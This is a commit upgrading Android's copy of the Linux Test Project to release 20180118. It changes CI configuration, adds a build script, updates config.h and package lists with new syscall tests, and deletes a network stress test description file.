Upgrade to LTP 20180118

A short log of commits merged as part of this is available in
Merge list

Bug: 72110041

No new disabled tests due to failure to build.

New configuration(s) added in android/include/config.h:
 HAVE_ATOMIC_MEMORY_MODEL
 HAVE_BUILTIN_CLEAR_CACHE
 HAVE_LIBCRYPTO
 HAVE_LINUX_IF_ETHER_H
 HAVE_LINUX_IF_PACKET_H
 HAVE_PROFIL
 HAVE_STRUCT_TPACKET_REQ3

No new test suites were added in this release

Tests Diff:
                 Deleted                    Added
        ---------------------------------------------------------
                             syscalls.setrlimit04
                             syscalls.setrlimit05
                                syscalls.keyctl06
                               syscalls.add_key03
                               syscalls.add_key04
                             syscalls.fallocate05
                                syscalls.keyctl08
                            syscalls.setsockopt02
                                 syscalls.ioctl07
                                syscalls.keyctl07
                           syscalls.sigwaitinfo01
                                syscalls.ptrace07
                           syscalls.request_key03
                                       fs.fs_fill
                               commands.unshare01

Change-Id: Ieb8ec5291b7b4ec57e63fe6adda334eadb07c961
Signed-off-by: Sandeep Patil <sspatil@google.com>
diff --git a/.travis.packages_i386 b/.travis.packages_i386
new file mode 100644
index 0000000..7253290
--- /dev/null
+++ b/.travis.packages_i386
@@ -0,0 +1,9 @@
+libacl1:i386
+libaio1:i386
+libcap2:i386
+libc6-dev-i386
+libc6:i386
+libkeyutils1:i386
+libnuma1:i386
+libssl-dev:i386
+libtirpc1:i386
diff --git a/.travis.packages_native b/.travis.packages_native
new file mode 100644
index 0000000..d9e1a2a
--- /dev/null
+++ b/.travis.packages_native
@@ -0,0 +1,18 @@
+libacl1
+libacl1-dev
+libaio-dev
+libaio1
+libcap-dev
+libcap2
+libc6
+libc6-dev
+libkeyutils-dev
+libkeyutils1
+libmm-dev
+libnuma-dev
+libnuma1
+libselinux1-dev
+libsepol1-dev
+libssl-dev
+libtirpc1
+linux-libc-dev
diff --git a/.travis.yml b/.travis.yml
index d937f9d..7b8fb50 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -2,35 +2,10 @@
 
 matrix:
     include:
-        - os: linux
-          compiler: gcc-4.6
-          addons:
-              apt:
-                  sources: ['ubuntu-toolchain-r-test']
-                  packages: ['gcc-4.6']
 
+        # normal native in-tree builds
         - os: linux
-          compiler: gcc-4.7
-          addons:
-              apt:
-                  sources: ['ubuntu-toolchain-r-test']
-                  packages: ['gcc-4.7']
-
-        - os: linux
-          compiler: gcc-4.8
-          addons:
-              apt:
-                  sources: ['ubuntu-toolchain-r-test']
-                  packages: ['gcc-4.8']
-
-        - os: linux
-          compiler: gcc-4.9
-          addons:
-              apt:
-                  sources: ['ubuntu-toolchain-r-test']
-                  packages: ['gcc-4.9']
-
-        - os: linux
+          env: BUILD="native" INSTALL_PACKAGES="$BUILD"
           compiler: gcc-5
           addons:
               apt:
@@ -38,38 +13,93 @@
                   packages: ['gcc-5']
 
         - os: linux
+          env: BUILD="native" INSTALL_PACKAGES="$BUILD"
+          compiler: gcc-7
+          addons:
+              apt:
+                  sources: ['ubuntu-toolchain-r-test']
+                  packages: ['gcc-7']
+
+        - os: linux
+          env: BUILD="native" INSTALL_PACKAGES="$BUILD"
+          compiler: clang-4.0
+          addons:
+              apt:
+                  sources: ['ubuntu-toolchain-r-test', 'llvm-toolchain-trusty-4.0']
+                  packages: ['clang-4.0']
+
+        - os: linux
+          env: BUILD="native" INSTALL_PACKAGES="$BUILD"
+          compiler: clang-5.0
+          addons:
+              apt:
+                  sources: ['ubuntu-toolchain-r-test', 'llvm-toolchain-trusty-5.0']
+                  packages: ['clang-5.0']
+
+        # minimal build (some headers and libraries are missing)
+        - os: linux
+          env: BUILD="native"
+          compiler: clang-3.9
+          addons:
+              apt:
+                  sources: ['ubuntu-toolchain-r-test', 'llvm-toolchain-trusty-3.9']
+                  packages: ['clang-3.9']
+
+        # 32-bit in-tree cross-compile builds
+        - os: linux
+          env: BUILD="32" INSTALL_PACKAGES="$BUILD"
+          compiler: gcc-4.9
+          addons:
+              apt:
+                  sources: ['ubuntu-toolchain-r-test']
+                  packages: ['gcc-4.9', 'gcc-4.9-multilib', 'linux-libc-dev:i386']
+
+        - os: linux
+          env: BUILD="32" INSTALL_PACKAGES="$BUILD"
           compiler: gcc-6
           addons:
               apt:
                   sources: ['ubuntu-toolchain-r-test']
-                  packages: ['gcc-6']
+                  packages: ['gcc-6', 'gcc-6-multilib', 'linux-libc-dev:i386']
 
+        # out-of-tree build
         - os: linux
-          compiler: clang-3.5
+          env: BUILD="out" INSTALL_PACKAGES="native"
+          compiler: gcc-7
           addons:
               apt:
-                  sources: ['ubuntu-toolchain-r-test', 'llvm-toolchain-precise-3.5']
-                  packages: ['clang-3.5']
+                  sources: ['ubuntu-toolchain-r-test']
+                  packages: ['gcc-7']
 
+        # cross-compile ARM builds
         - os: linux
-          compiler: clang-3.8
+          env: BUILD="cross" INSTALL_PACKAGES="$BUILD"
+          compiler: arm-linux-gnueabihf-gcc
           addons:
               apt:
-                  sources: ['ubuntu-toolchain-r-test', 'llvm-toolchain-precise-3.8']
-                  packages: ['clang-3.8']
+                  packages: ['gcc-arm-linux-gnueabihf', 'libc6-dev-armhf-cross']
 
         - os: linux
-          compiler: clang-3.9
+          env: BUILD="cross" INSTALL_PACKAGES="$BUILD"
+          compiler: aarch64-linux-gnu-gcc
           addons:
               apt:
-                  sources:
-                      - sourceline: "deb http://apt.llvm.org/trusty/ llvm-toolchain-trusty-3.9 main"
-                        key_url: "http://apt.llvm.org/llvm-snapshot.gpg.key"
-                      - 'ubuntu-toolchain-r-test'
-                  packages: ['clang-3.9']
+                  packages: ['gcc-aarch64-linux-gnu', 'libc6-dev-arm64-cross']
 
 notifications:
     email:
         secure: "b/xcA/K5OyQvPPnd0PRahTH5LJu8lgz8goGHvhXpHo+ZPsPgTDXNFo5cX9fSOkMuFKeoW8iGl0wOgK2+ptc8mbYDw277K4RFIHRHeV/KIoE1EzjQnEFiL8J0oHCAvDj12o0AXeriTyY9gICXKbR31Br6Zh5eKViDJe2OAGeHeDU="
 
-script: make autotools && ./configure --prefix $HOME/ltp --with-open-posix-testsuite --with-realtime-testsuite && make -j$(getconf _NPROCESSORS_ONLN) && make -j$(getconf _NPROCESSORS_ONLN) install
+before_install:
+    # installing / removing dependencies
+    - if [ "$INSTALL_PACKAGES" = "" ]; then
+          sudo apt remove $(cat .travis.packages_native | grep -v -e 'libc6' -e 'libc6-dev' -e 'linux-libc-dev' -e 'libacl1')
+      ; elif [ "$INSTALL_PACKAGES" != "cross" ]; then
+          sudo apt install -qq $(cat .travis.packages_native)
+      ; fi
+
+    - if [ "$INSTALL_PACKAGES" = "32" ]; then
+          sudo apt install -qq $(cat .travis.packages_i386)
+      ; fi
+
+script: ./build.sh -t $BUILD -c $CC
diff --git a/VERSION b/VERSION
index b92e2b2..4c5b39a 100644
--- a/VERSION
+++ b/VERSION
@@ -1 +1 @@
-20170929
+20180118
diff --git a/android/Android.ltp.mk b/android/Android.ltp.mk
index 8b9e9fe..0d93a8b 100644
--- a/android/Android.ltp.mk
+++ b/android/Android.ltp.mk
@@ -305,6 +305,10 @@
 module_src_files := testcases/kernel/controllers/memcg/functional/memcg_usage_in_bytes_test.sh
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/udp4-multi-diffport04
+module_src_files := testcases/network/stress/udp/multi-diffport/udp4-multi-diffport04
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/fs_racer_file_list.sh
 module_src_files := testcases/kernel/fs/racer/fs_racer_file_list.sh
 include $(ltp_build_prebuilt)
@@ -829,10 +833,6 @@
 module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff07
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/rwho01
-module_src_files := testcases/network/tcp_cmds/rwho/rwho01
-include $(ltp_build_prebuilt)
-
 module_prebuilt := testcases/bin/ext4-alloc-test.sh
 module_src_files := testcases/kernel/fs/ext4-new-features/ext4-delalloc-mballoc/ext4-alloc-test.sh
 include $(ltp_build_prebuilt)
@@ -1161,12 +1161,16 @@
 module_src_files := testcases/kernel/io/stress_floppy/datafiles/dd_file
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/macsec01.sh
+module_src_files := testcases/network/virt/macsec01.sh
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/tcp6-uni-sackoff08
 module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff08
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/finger01
-module_src_files := testcases/network/tcp_cmds/finger/finger01
+module_prebuilt := testcases/bin/macsec02.sh
+module_src_files := testcases/network/virt/macsec02.sh
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/run_cpuctl_test_fj.sh
@@ -1209,10 +1213,6 @@
 module_src_files := testcases/network/tcp_cmds/ssh/ssh02
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/rdist01
-module_src_files := testcases/network/tcp_cmds/rdist/rdist01
-include $(ltp_build_prebuilt)
-
 module_prebuilt := testcases/data/file01/in.png
 module_src_files := testcases/commands/file/datafiles/in.png
 include $(ltp_build_prebuilt)
@@ -1937,6 +1937,10 @@
 module_src_files := testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip14
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/sctp_ipsec.sh
+module_src_files := testcases/network/stress/sctp/sctp_ipsec.sh
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/ltpSockets.sh
 module_src_files := testcases/network/sockets/ltpSockets.sh
 include $(ltp_build_prebuilt)
@@ -1945,6 +1949,10 @@
 module_src_files := testcases/network/stress/udp/multi-diffip/udp6-multi-diffip06
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/unshare01.sh
+module_src_files := testcases/commands/unshare/unshare01.sh
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/vxlan02.sh
 module_src_files := testcases/network/virt/vxlan02.sh
 include $(ltp_build_prebuilt)
@@ -2001,10 +2009,6 @@
 module_src_files := testcases/network/stress/udp/multi-diffip/udp6-multi-diffip02
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/echo01
-module_src_files := testcases/network/tcp_cmds/echo/echo01
-include $(ltp_build_prebuilt)
-
 module_prebuilt := testcases/bin/fs_racer_file_concat.sh
 module_src_files := testcases/kernel/fs/racer/fs_racer_file_concat.sh
 include $(ltp_build_prebuilt)
@@ -2697,8 +2701,8 @@
 module_src_files := testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport14
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/bin/udp4-multi-diffport04
-module_src_files := testcases/network/stress/udp/multi-diffport/udp4-multi-diffport04
+module_prebuilt := testcases/bin/sctp_ipsec_vti.sh
+module_src_files := testcases/network/stress/sctp/sctp_ipsec_vti.sh
 include $(ltp_build_prebuilt)
 
 module_prebuilt := testcases/bin/tcp6-multi-diffip01
@@ -3349,6 +3353,10 @@
 module_src_files := testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale08
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/dccp_ipsec_vti.sh
+module_src_files := testcases/network/stress/dccp/dccp_ipsec_vti.sh
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/fork_freeze.sh
 module_src_files := testcases/kernel/controllers/freezer/fork_freeze.sh
 include $(ltp_build_prebuilt)
@@ -3581,6 +3589,10 @@
 module_src_files := testcases/kernel/controllers/cpuctl/run_cpuctl_latency_test.sh
 include $(ltp_build_prebuilt)
 
+module_prebuilt := testcases/bin/dccp_ipsec.sh
+module_src_files := testcases/network/stress/dccp/dccp_ipsec.sh
+include $(ltp_build_prebuilt)
+
 module_prebuilt := testcases/bin/tcp4-uni-sackoff04
 module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff04
 include $(ltp_build_prebuilt)
diff --git a/android/include/config.h b/android/include/config.h
index c23c805..4e43ad7 100644
--- a/android/include/config.h
+++ b/android/include/config.h
@@ -14,8 +14,11 @@
 /* Define to 1 if you have the <asm/ptrace.h> header file. */
 #define HAVE_ASM_PTRACE_H 1
 
-/* Define to 1 if you have the <attr/xattr.h> header file. */
-/* #undef HAVE_ATTR_XATTR_H */
+/* Define to 1 if you have the __atomic_* compiler builtins */
+#define HAVE_ATOMIC_MEMORY_MODEL 1
+
+/* Define to 1 if you have __builtin___clear_cache */
+#define HAVE_BUILTIN_CLEAR_CACHE 1
 
 /* Define to 1 if you have the `daemon' function. */
 #define HAVE_DAEMON 1
@@ -131,12 +134,21 @@
 /* Define to 1 if you have libacl installed. */
 /* #undef HAVE_LIBACL */
 
+/* Define to 1 if you have libaio and it's headers installed. */
+/* #undef HAVE_LIBAIO */
+
 /* Define to 1 if you have the <libaio.h> header file. */
-/* undef HAVE_LIBAIO_H */
+/* #undef HAVE_LIBAIO_H */
 
 /* Define to 1 if you have libcap-2 installed. */
 #define HAVE_LIBCAP 1
 
+/* Define whether libcrypto and openssl headers are installed */
+#define HAVE_LIBCRYPTO 1
+
+/* Define to 1 if you have libkeyutils installed. */
+/* #undef HAVE_LIBKEYUTILS */
+
 /* Define to 1 if you have both SELinux libraries and headers. */
 #define HAVE_LIBSELINUX_DEVEL 1
 
@@ -149,6 +161,12 @@
 /* Define to 1 if you have the <linux/genetlink.h> header file. */
 #define HAVE_LINUX_GENETLINK_H 1
 
+/* Define to 1 if you have the <linux/if_ether.h> header file. */
+#define HAVE_LINUX_IF_ETHER_H 1
+
+/* Define to 1 if you have the <linux/if_packet.h> header file. */
+#define HAVE_LINUX_IF_PACKET_H 1
+
 /* Define to 1 if you have the <linux/keyctl.h> header file. */
 #define HAVE_LINUX_KEYCTL_H 1
 
@@ -230,6 +248,9 @@
 /* Define to 1 if you have the `preadv' function. */
 #define HAVE_PREADV 1
 
+/* Define to 1 if you have the `profil' function. */
+#define HAVE_PROFIL 1
+
 /* Define to 1 if you have the <pthread.h> header file. */
 #define HAVE_PTHREAD_H 1
 
@@ -311,6 +332,9 @@
 /* Define to 1 if `read_bytes' is a member of `struct taskstats'. */
 #define HAVE_STRUCT_TASKSTATS_READ_BYTES 1
 
+/* Define to 1 if the system has the type `struct tpacket_req3'. */
+#define HAVE_STRUCT_TPACKET_REQ3 1
+
 /* Define to 1 if the system has the type `struct user_desc'. */
 #ifdef __i386__
 #define HAVE_STRUCT_USER_DESC 1
@@ -372,6 +396,9 @@
 /* Define to 1 if you have the <sys/types.h> header file. */
 #define HAVE_SYS_TYPES_H 1
 
+/* Define to 1 if you have the <sys/ustat.h> header file. */
+/* #undef HAVE_SYS_USTAT_H 1 */
+
 /* Define to 1 if you have the <sys/xattr.h> header file. */
 #define HAVE_SYS_XATTR_H 1
 
@@ -393,6 +420,9 @@
 /* Define to 1 if you have the `unshare' function. */
 #define HAVE_UNSHARE 1
 
+/* Define to 1 if you have the `ustat' function. */
+/* #undef HAVE_USTAT 1 */
+
 /* Define to 1 if you have utimensat(2) */
 #define HAVE_UTIMENSAT 1
 
diff --git a/android/ltp_package_list.mk b/android/ltp_package_list.mk
index 88ce046..b109253 100644
--- a/android/ltp_package_list.mk
+++ b/android/ltp_package_list.mk
@@ -27,8 +27,16 @@
   ltp_acl_link_test \
   ltp_add_key01 \
   ltp_add_key02 \
+  ltp_add_key03 \
+  ltp_add_key04 \
   ltp_adjtimex01 \
   ltp_adjtimex02 \
+  ltp_aio-stress \
+  ltp_aio01 \
+  ltp_aio_tio \
+  ltp_aiocp \
+  ltp_aiodio_append \
+  ltp_aiodio_sparse \
   ltp_alarm01 \
   ltp_alarm02 \
   ltp_alarm03 \
@@ -124,7 +132,6 @@
   ltp_create_datafile \
   ltp_create_long_dirs \
   ltp_create_short_dirs \
-  ltp_createfile \
   ltp_cve-2012-0957 \
   ltp_cve-2014-0196 \
   ltp_cve-2016-10044 \
@@ -139,11 +146,15 @@
   ltp_delete_module01 \
   ltp_delete_module02 \
   ltp_delete_module03 \
+  ltp_dio_append \
+  ltp_dio_sparse \
+  ltp_dio_truncate \
   ltp_diotest1 \
   ltp_diotest2 \
   ltp_diotest3 \
   ltp_diotest5 \
   ltp_diotest6 \
+  ltp_dirty \
   ltp_dirtyc0w \
   ltp_dirtyc0w_child \
   ltp_disktest \
@@ -162,8 +173,6 @@
   ltp_dup205 \
   ltp_dup3_01 \
   ltp_dup3_02 \
-  ltp_echoes \
-  ltp_echoes6 \
   ltp_endian_switch01 \
   ltp_epoll-ltp \
   ltp_epoll_create1_01 \
@@ -208,6 +217,7 @@
   ltp_fallocate02 \
   ltp_fallocate03 \
   ltp_fallocate04 \
+  ltp_fallocate05 \
   ltp_fanotify01 \
   ltp_fanotify02 \
   ltp_fanotify03 \
@@ -337,6 +347,7 @@
   ltp_fptest01 \
   ltp_fptest02 \
   ltp_frag \
+  ltp_fs_fill \
   ltp_fs_perms \
   ltp_fstat01 \
   ltp_fstat01_64 \
@@ -458,6 +469,7 @@
   ltp_getrlimit02 \
   ltp_getrusage01 \
   ltp_getrusage02 \
+  ltp_getrusage03_child \
   ltp_getrusage04 \
   ltp_getsid01 \
   ltp_getsid02 \
@@ -508,6 +520,7 @@
   ltp_ioctl04 \
   ltp_ioctl05 \
   ltp_ioctl06 \
+  ltp_ioctl07 \
   ltp_iogen \
   ltp_ioperm01 \
   ltp_ioperm02 \
@@ -521,6 +534,9 @@
   ltp_keyctl03 \
   ltp_keyctl04 \
   ltp_keyctl05 \
+  ltp_keyctl06 \
+  ltp_keyctl07 \
+  ltp_keyctl08 \
   ltp_kill01 \
   ltp_kill02 \
   ltp_kill03 \
@@ -567,6 +583,7 @@
   ltp_lstat02_64 \
   ltp_lstat03 \
   ltp_lstat03_64 \
+  ltp_ltp-diorh \
   ltp_ltpClient \
   ltp_ltpServer \
   ltp_ltp_acpi \
@@ -584,6 +601,7 @@
   ltp_mc_send \
   ltp_mc_verify_opts \
   ltp_mc_verify_opts_error \
+  ltp_meltdown \
   ltp_mem01 \
   ltp_mem02 \
   ltp_mem03 \
@@ -671,6 +689,7 @@
   ltp_mount01 \
   ltp_mount02 \
   ltp_mount03 \
+  ltp_mount03_setuid_test \
   ltp_mount04 \
   ltp_mount05 \
   ltp_mount06 \
@@ -833,6 +852,7 @@
   ltp_ptrace03 \
   ltp_ptrace04 \
   ltp_ptrace05 \
+  ltp_ptrace07 \
   ltp_pty01 \
   ltp_pwrite01 \
   ltp_pwrite01_64 \
@@ -853,6 +873,7 @@
   ltp_read02 \
   ltp_read03 \
   ltp_read04 \
+  ltp_read_checkzero \
   ltp_readahead01 \
   ltp_readahead02 \
   ltp_readdir01 \
@@ -895,6 +916,7 @@
   ltp_renameat202 \
   ltp_request_key01 \
   ltp_request_key02 \
+  ltp_request_key03 \
   ltp_rmdir01 \
   ltp_rmdir02 \
   ltp_rmdir03 \
@@ -993,11 +1015,13 @@
   ltp_setrlimit01 \
   ltp_setrlimit02 \
   ltp_setrlimit03 \
+  ltp_setrlimit04 \
+  ltp_setrlimit05 \
   ltp_setsid01 \
   ltp_setsockopt01 \
+  ltp_setsockopt02 \
   ltp_settimeofday01 \
   ltp_settimeofday02 \
-  ltp_setuid_test \
   ltp_setxattr01 \
   ltp_setxattr02 \
   ltp_setxattr03 \
@@ -1117,6 +1141,9 @@
   ltp_test12 \
   ltp_test13 \
   ltp_test14 \
+  ltp_test15 \
+  ltp_test16 \
+  ltp_test17 \
   ltp_test_6_2 \
   ltp_testcases_bin_acl_test01 \
   ltp_testcases_bin_add_ipv6addr \
@@ -1183,6 +1210,8 @@
   ltp_testcases_bin_daemonlib.sh \
   ltp_testcases_bin_data \
   ltp_testcases_bin_dccp01.sh \
+  ltp_testcases_bin_dccp_ipsec.sh \
+  ltp_testcases_bin_dccp_ipsec_vti.sh \
   ltp_testcases_bin_dctcp01.sh \
   ltp_testcases_bin_dhcp_lib.sh \
   ltp_testcases_bin_dhcpd_tests.sh \
@@ -1192,7 +1221,6 @@
   ltp_testcases_bin_dns-stress02-rmt \
   ltp_testcases_bin_dnsmasq_tests.sh \
   ltp_testcases_bin_dynamic_debug01.sh \
-  ltp_testcases_bin_echo01 \
   ltp_testcases_bin_ext4-alloc-test.sh \
   ltp_testcases_bin_ext4_funcs.sh \
   ltp_testcases_bin_ext4_get_inode_version.sh \
@@ -1206,7 +1234,6 @@
   ltp_testcases_bin_file01.sh \
   ltp_testcases_bin_filecapstest.sh \
   ltp_testcases_bin_find_portbundle \
-  ltp_testcases_bin_finger01 \
   ltp_testcases_bin_force_erase.sh \
   ltp_testcases_bin_fork_freeze.sh \
   ltp_testcases_bin_freeze_cancel.sh \
@@ -1416,6 +1443,8 @@
   ltp_testcases_bin_ln_tests.sh \
   ltp_testcases_bin_lock_torture.sh \
   ltp_testcases_bin_ltpSockets.sh \
+  ltp_testcases_bin_macsec01.sh \
+  ltp_testcases_bin_macsec02.sh \
   ltp_testcases_bin_macvlan01.sh \
   ltp_testcases_bin_macvtap01.sh \
   ltp_testcases_bin_mc_cmds \
@@ -1489,7 +1518,6 @@
   ltp_testcases_bin_quota_remount_test01.sh \
   ltp_testcases_bin_rcp01 \
   ltp_testcases_bin_rcu_torture.sh \
-  ltp_testcases_bin_rdist01 \
   ltp_testcases_bin_remove_password.sh \
   ltp_testcases_bin_rlogin01 \
   ltp_testcases_bin_route4-change-dst \
@@ -1530,10 +1558,11 @@
   ltp_testcases_bin_runpwtests_exclusive05.sh \
   ltp_testcases_bin_rup01 \
   ltp_testcases_bin_rusers01 \
-  ltp_testcases_bin_rwho01 \
   ltp_testcases_bin_rwtest \
   ltp_testcases_bin_sched_stress.sh \
   ltp_testcases_bin_sctp01.sh \
+  ltp_testcases_bin_sctp_ipsec.sh \
+  ltp_testcases_bin_sctp_ipsec_vti.sh \
   ltp_testcases_bin_sendfile01 \
   ltp_testcases_bin_set_ipv4addr \
   ltp_testcases_bin_smack_common.sh \
@@ -1951,6 +1980,7 @@
   ltp_testcases_bin_udp6-uni-basic07 \
   ltp_testcases_bin_udp_ipsec.sh \
   ltp_testcases_bin_udp_ipsec_vti.sh \
+  ltp_testcases_bin_unshare01.sh \
   ltp_testcases_bin_unzip01.sh \
   ltp_testcases_bin_utimensat_tests.sh \
   ltp_testcases_bin_vfork_freeze.sh \
@@ -2095,6 +2125,7 @@
   ltp_tst_sleep \
   ltp_tst_strerrno \
   ltp_tst_strsig \
+  ltp_tst_strstatus \
   ltp_tst_tmpdir_test \
   ltp_uaccess \
   ltp_umask01 \
@@ -2161,4 +2192,4 @@
   ltp_writev05 \
   ltp_writev06 \
   ltp_writev07 \
-  ltp_zram03
+  ltp_zram03
\ No newline at end of file
diff --git a/build.sh b/build.sh
new file mode 100755
index 0000000..6dd7ddf
--- /dev/null
+++ b/build.sh
@@ -0,0 +1,138 @@
+#!/bin/sh
+# Copyright (c) 2017 Petr Vorel <pvorel@suse.cz>
+# Script for travis builds.
+#
+# TODO: Implement comparison of installed files. List of installed files can
+# be used only for local builds as Travis currently doesn't support sharing
+# file between jobs, see
+# https://github.com/travis-ci/travis-ci/issues/6054
+
+set -e
+
+DEFAULT_PREFIX="$HOME/ltp-install"
+DEFAULT_BUILD="build_native"
+CONFIGURE_OPTS_IN_TREE="--with-open-posix-testsuite --with-realtime-testsuite"
+# TODO: open posix testsuite is currently broken in out-tree-build. Enable it once it's fixed.
+CONFIGURE_OPTS_OUT_TREE="--with-realtime-testsuite"
+MAKE_OPTS="-j$(getconf _NPROCESSORS_ONLN)"
+CC=
+
+build_32()
+{
+	echo "===== 32-bit in-tree build into $PREFIX ====="
+	build_in_tree CFLAGS="-m32" CXXFLAGS="-m32" LDFLAGS="-m32"
+}
+
+build_native()
+{
+	echo "===== native in-tree build into $PREFIX ====="
+	build_in_tree
+}
+
+build_cross()
+{
+	local host="${CC%-gcc}"
+	[ -n "$host" ] || \
+		{ echo "Missing CC variable, pass it with -c option." >&2; exit 1; }
+
+	echo "===== cross-compile ${host} in-tree build into $PREFIX ====="
+	build_in_tree "--host=$host" CROSS_COMPILE="${host}-"
+}
+
+build_out_tree()
+{
+	local tree="$PWD"
+	local build="$tree/../ltp-build"
+	local make_opts="$MAKE_OPTS -C $build -f $tree/Makefile top_srcdir=$tree top_builddir=$build"
+
+	echo "===== native out-of-tree build into $PREFIX ====="
+	mkdir -p $build
+
+	echo "=== autotools ==="
+	make autotools
+
+	cd $build
+	run_configure $tree/configure $CONFIGURE_OPTS_OUT_TREE CC="$CC"
+
+	make $make_opts
+	make $make_opts DESTDIR="$PREFIX" SKIP_IDCHECK=1 install
+}
+
+build_in_tree()
+{
+	echo "=== autotools ==="
+	make autotools
+
+	run_configure ./configure $CONFIGURE_OPTS_IN_TREE CC="$CC" --prefix=$PREFIX $@
+
+	echo "=== build ==="
+	make $MAKE_OPTS
+
+	echo "=== install ==="
+	make $MAKE_OPTS install
+}
+
+run_configure()
+{
+	local configure=$1
+	shift
+
+	echo "=== configure $configure $@ ==="
+	if ! $configure $@; then
+		echo "== ERROR: configure failed, config.log =="
+		cat config.log
+		exit 1
+	fi
+
+	echo "== include/config.h =="
+	cat include/config.h
+}
+
+usage()
+{
+	cat << EOF
+Usage:
+$0 [ -c CC ] [ -p DIR ] [ -t TYPE ]
+$0 -h
+
+Options:
+-h       Print this help
+-c CC    Define compiler (\$CC variable)
+-p DIR   Change installation directory. For in-tree build is this value passed
+         to --prefix option of configure script. For out-of-tree build is this
+         value passed to DESTDIR variable (i.e. sysroot) of make install
+         target, which means that LTP will be actually installed into
+         DIR/PREFIX (i.e. DIR/opt/ltp).
+         Default for in-tree build: '$DEFAULT_PREFIX'
+         Default for out-of-tree build: '$DEFAULT_PREFIX/opt/ltp'
+-t TYPE  Specify build type, default: $DEFAULT_BUILD
+
+BUILD TYPES:
+32       32-bit in-tree build
+cross    cross-compile in-tree build (requires set compiler via -c switch)
+native   native in-tree build
+out      out-of-tree build
+EOF
+}
+
+PREFIX="$DEFAULT_PREFIX"
+build="$DEFAULT_BUILD"
+
+while getopts "c:hp:t:" opt; do
+	case "$opt" in
+	c) CC="$OPTARG";;
+	h) usage; exit 0;;
+	p) PREFIX="$OPTARG";;
+	t) case "$OPTARG" in
+		32) build="build_32";;
+		cross) build="build_cross";;
+		native) build="build_native";;
+		out) build="build_out_tree";;
+		*) echo "Wrong build type '$OPTARG'" >&2; usage; exit 1;;
+		esac;;
+	?) usage; exit 1;;
+	esac
+done
+
+cd `dirname $0`
+$build
diff --git a/configure.ac b/configure.ac
index 458a5b1..5c8d4ea 100644
--- a/configure.ac
+++ b/configure.ac
@@ -32,18 +32,29 @@
 
 AC_CHECK_HEADERS([ \
     ifaddrs.h \
-    libaio.h \
-    mm.h \
-    pthread.h \
-    sys/xattr.h \
+    keyutils.h \
+    linux/can.h \
     linux/genetlink.h \
+    linux/keyctl.h \
+    linux/if_packet.h \
+    linux/if_ether.h \
     linux/mempolicy.h \
     linux/module.h \
     linux/netlink.h \
+    mm.h \
+    pthread.h \
     sys/epoll.h \
-    sys/inotify.h \
     sys/fanotify.h \
+    sys/inotify.h \
     sys/prctl.h \
+    sys/shm.h \
+    sys/ustat.h \
+    sys/xattr.h \
+])
+
+AC_CHECK_FUNCS([ \
+    profil \
+    ustat \
 ])
 
 # Tools knobs
@@ -130,7 +141,7 @@
 
 AC_CONFIG_SUBDIRS([utils/ffsb-6.0-rc2])
 
-AC_CONFIG_COMMANDS([syscalls.h], [cd include/lapi/syscalls; ./regen.sh])
+AC_CONFIG_COMMANDS([syscalls.h], [cd ${ac_top_srcdir}/include/lapi/syscalls; ./regen.sh])
 
 # END testsuites knobs
 LTP_CHECK_FORTIFY_SOURCE
@@ -176,9 +187,7 @@
 LTP_CHECK_SPLICE
 LTP_CHECK_VMSPLICE
 LTP_CHECK_TIMERFD
-LTP_CHECK_CAN_SUPPORT
 LTP_CHECK_IOVEC
-LTP_CHECK_KEYCTL
 LTP_CHECK_LINUXRANDOM
 LTP_CHECK_IF_LINK
 LTP_CHECK_KCMP
@@ -192,5 +201,8 @@
 LTP_CHECK_MMSGHDR
 LTP_CHECK_UNAME_DOMAINNAME
 LTP_CHECK_X_TABLES
+LTP_CHECK_ATOMIC_MEMORY_MODEL
+LTP_CHECK_TPACKET_V3
+LTP_DETECT_HOST_CPU
 
 AC_OUTPUT
diff --git a/doc/network_stress.txt b/doc/network_stress.txt
deleted file mode 100644
index fb936ef..0000000
--- a/doc/network_stress.txt
+++ /dev/null
@@ -1,531 +0,0 @@
-interface
----------
-if4-updown
-	Verify the IPv4 connectivity is not broken when the interface is
-	upped and downed many times
-		test01 - by ifconfig command
-		test02 - by ip command
-
-if4-addr-change
-	Verify the IPv4 connectivity is not broken when the IPv4 address
-	is changed many times
-		test01 - by ifconfig command
-
-if4-alias-adddel01
-	Verify the IPv4 connectivity is not broken when an IPv4 alias is
-	added, then deleted many times
-		test01 - by `ifconfig add' command
-		test02 - by `ifconfig ethn:n' command
-		test03 - by ip command
-
-if4-alias-addlarge01
-	Verify the IPv4 connectivity is not broken when a large number of
-	IPv4 alias is created
-		test01 - by `ifconfig add' command
-		test02 - by `ifconfig ethn:n' command
-		test03 - by ip command
-
-if4-route-adddel01
-	Verify the IPv4 connectivity is not broken when an IPv4 route is
-	added, then deleted many times
-		test01 - by route command
-		test02 - by ip command
-
-if4-route-addlarge01
-	Verify the IPv4 connectivity is not broken when a large number of
-	IPv6 route is created
-		test01 - by route command
-		test02 - by ip command
-
-if4-mtu-change01
-	Verify the IPv4 connectivity is not broken when the mtu of interface
-	is changed many times every 5 seconds
-		test01 - by ifconfig command
-		test02 - by ip command
-
-if6-updown
-	Verify the IPv6 connectivity is not broken when the interface is
-	upped and downed many times
